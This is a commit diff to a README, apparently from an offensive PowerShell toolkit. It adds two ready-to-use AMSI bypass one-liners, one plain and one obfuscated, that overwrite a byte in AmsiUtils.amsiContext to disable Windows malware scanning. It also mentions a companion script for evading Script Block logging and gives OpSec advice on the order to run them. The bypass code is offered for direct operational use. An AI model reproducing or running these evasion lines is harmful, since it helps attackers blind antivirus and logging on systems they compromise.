Update README.md
This commit is contained in:
parent
49e8c1127f
commit
d4f6d0fc80
|
@ -79,6 +79,17 @@ PS > "amsiInitFailed"
|
|||
amsiInitFailed
|
||||
```
|
||||
|
||||
- OH, by the way - you can grab **my custom AMSI evasion oneliners** below - perfect for a one-shot use cases:
|
||||
* Technique 1A: Overwrite `AmsiUtils.amsiContext`'s object (`_HAMSICONTEXT.Signature`) byte. Length: 146 bytes.
|
||||
```
|
||||
[Runtime.InteropServices.Marshal]::WriteByte((([Ref].Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),0x5)
|
||||
```
|
||||
|
||||
* Technique 1B: Same as 1A, but obfuscated variant. (256 bytes)
|
||||
```
|
||||
$h=[TyPE]('{5}{2}{4}{0}{3}{1}'-f'er','L','Un','viCes.maRShA','TIME.INTErOPS','r');Sv('W'+'e') ([tYpe]('{1}{0}'-f'EF','r'));(gET-vAriABLE h).vAlue::WriteByte((($wE.Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),0x5)
|
||||
```
|
||||
|
||||
- **`Disable-ScriptLogging.ps1`** - Tries to evade Script Block logging by leveraging couple of publicly documented techniqus, but in an approach to avoid signatured or otherwise considered harmful keywords.
|
||||
|
||||
*Warning:* This scriptlet should be launched first, before `Disable-Amsi.ps1` for better OpSec experience.
|
||||
|
|
Loading…
Reference in New Issue